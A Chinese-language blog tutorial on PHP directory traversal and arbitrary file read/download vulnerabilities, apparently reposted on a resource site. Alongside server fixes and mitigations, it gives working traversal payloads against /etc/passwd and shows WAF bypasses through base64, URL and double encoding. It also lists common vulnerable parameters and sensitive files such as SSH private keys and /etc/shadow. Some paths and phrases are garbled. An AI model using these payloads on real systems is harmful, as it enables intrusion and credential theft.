php读取配置文件-目录遍历+任意文件读取+任意文件下载

2024-05-24 0 7,302 百度已收录

目录遍历漏洞原理

目录遍历也称为“路径遍历”。 由于Web服务器配置错误导致网站目录暴露,可以随意浏览。 这称为“目录遍历”

伤害

危险在于你可以浏览一些用户应该听到的文件内容,比如一些数据库配置文件网站源代码等……

检测方法

Google句型php intitle:index of 如果出现类似下面的内容,则存在目录遍历漏洞。

网络服务配置错误

IIS:在控制面板-->管理工具-->IIS管理器,网站->右键单击->属性->主目录,然后选中目录浏览。 修补方法:当然,取消勾选目录浏览。 Apache:打开 httpd.conf ,搜索“”或更准确地搜索“选项”。 下图中Options旁边有一个+Indexes,说明存在目录遍历漏洞。

修复方法:去掉+Indexes或者改为-Indexes

经过测试,小皮面板如果配置文件中有Indexes,则不会被目录遍历,会显示403!!!

Nginx默认情况下不启用目录遍历。 如果发现存在,删除nginx.conf中的“autoindex on;autoinxex_exact_size on”,然后重启

读取/下载任何文件

原则

由于网站有下载文件的业务需求php读取配置文件,因此将开放下载。 如果服务器没有对用户传入参数进行限制或者没有对传入的参数进行检测和限制,则可能会导致网站的敏感文件被下载。

伤害

任意文件读取/下载的危害往往小于目录遍历漏洞的危害。 除了泄露网站的结构目录外,任意文件读取还会导致一些敏感文件通过构造特殊字符结构(如../或~/)被下载,从而导致服务器泄露重要文件信息,如../etc/passwd、../etc/shodan、~/bash_history等文件,或者下载脚本配置文件和网站文件进一步审计,进一步利用更多有害漏洞

如何找出

一般情况下,文件读取或者文件下载都会在前面加上一个参数名,例如

http://127.0.0.1/file.php?filename=xxx.txt

php读取配置文件-目录遍历+任意文件读取+任意文件下载

复制

上面的txt会下载下来,但是如果把官方的xxx.txt换成其他参数怎么办? 例如../etc/passwd

http://127.0.0.1/file.php?filename=../../../../etc/passwd

复制

只有服务器没有对用户传入的数据进行过滤时才会输出这个文件,比如下面

如果出现这样的界面,则表示可以从该网站下载并读取任何文件。

代码

以下代码均存在文件读取风险,仅作为示例




php读取配置文件-目录遍历+任意文件读取+任意文件下载

复制

旁路

1202年的信息时代,各种奇特的waf层出不穷。 有些waf会检测用户传入的参数。 也就是说,如果你在部署了waf的网站上,直接访问file.php?filename=../../../etc/passwd就会被拦截

1.绕过编码。 有些网站在读取之前还会将文件名转换base64或其他编码格式,例如:

http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php

复制

编码后读取文件。 如果要读取其他文件,同样的方法php读取配置文件,先编码,再传入。

2.改用url编码。 或者 /

http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd

复制

php读取配置文件-目录遍历+任意文件读取+任意文件下载

使用 %2F 代替/或辅助编码 (%25)

http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd

复制

  %25是%
  2F是/
  %252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/

复制

3.如果文件名有限制,可以尝试截断

http://127.0.0.1/file.php?filename=../../../1.php.jpg

复制

截断需要PHP版:PHP小“姿势

如果filename=xxx.php,则该类型的文件存在漏洞。 filename=xxx.txt或者其他文件名,如果直接显示该文件,则为任意文件读取漏洞。 一定要区分清楚!!!

php读取配置文件-目录遍历+任意文件读取+任意文件下载

保护传入文件名的识别和限制。 过滤并合理控制目录的读取权限。 使用白名单来读取文件。 打开php.ini文件,找到open_basedir,然后去掉上面的分号(;),后面跟着等号(open_basedir=)。 写入限制和读取范围过滤。 ./~/等字符。 将需要下载的文件路径提前传到数据库中,然后通过对应的id值进行下载。 但千万不要“捡了芝麻,丢了猕猴桃”,更不要忘记预防注射。

常见的URL格式和参数

download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...
value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...

复制

营养文件(复印件)

Windows:

复制

    C:boot.ini //查看系统版本
    C:WindowsSystem32inetsrvMetaBase.xml          //IIS配置文件
    C:Windowsrepairsam                                          //存储系统初次安装密码
    C:Program Filesmysqlmy.ini                               //Mysql配置
    C:Program Filesmysqldatamysqluser.MYD     //Mysql root
    C:Windowsphp.ini              //php配置信息
    C:Windowsmy.ini             //Mysql配置信息
    C:Windowswin.ini             //Windows系统的一个基本系统配置文件

复制

  Linux:

复制

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts             //记录每个访问计算机用户公钥
    /etc/passwd
    /etc/shadow
    /usr/local/app/php5/lib/php.ini                //PHP配置文件
    /etc/my.cnf                 //mysql配置文件
    /etc/httpd/conf/httpd.conf             //apache配置文件
    /root/.bash_history             //用户历史命令记录文件
    /root/.mysql_history             //mysql历史命令记录文件
    /proc/mounts                 //记录系统挂载设备
    /porc/config.gz                //内核配置文件
    /var/lib/mlocate/mlocate.db         //全文件路径
    /porc/self/cmdline             //当前进程的cmdline参数

复制

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php读取配置文件-目录遍历+任意文件读取+任意文件下载 https://www.wkzy.net/game/202283.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务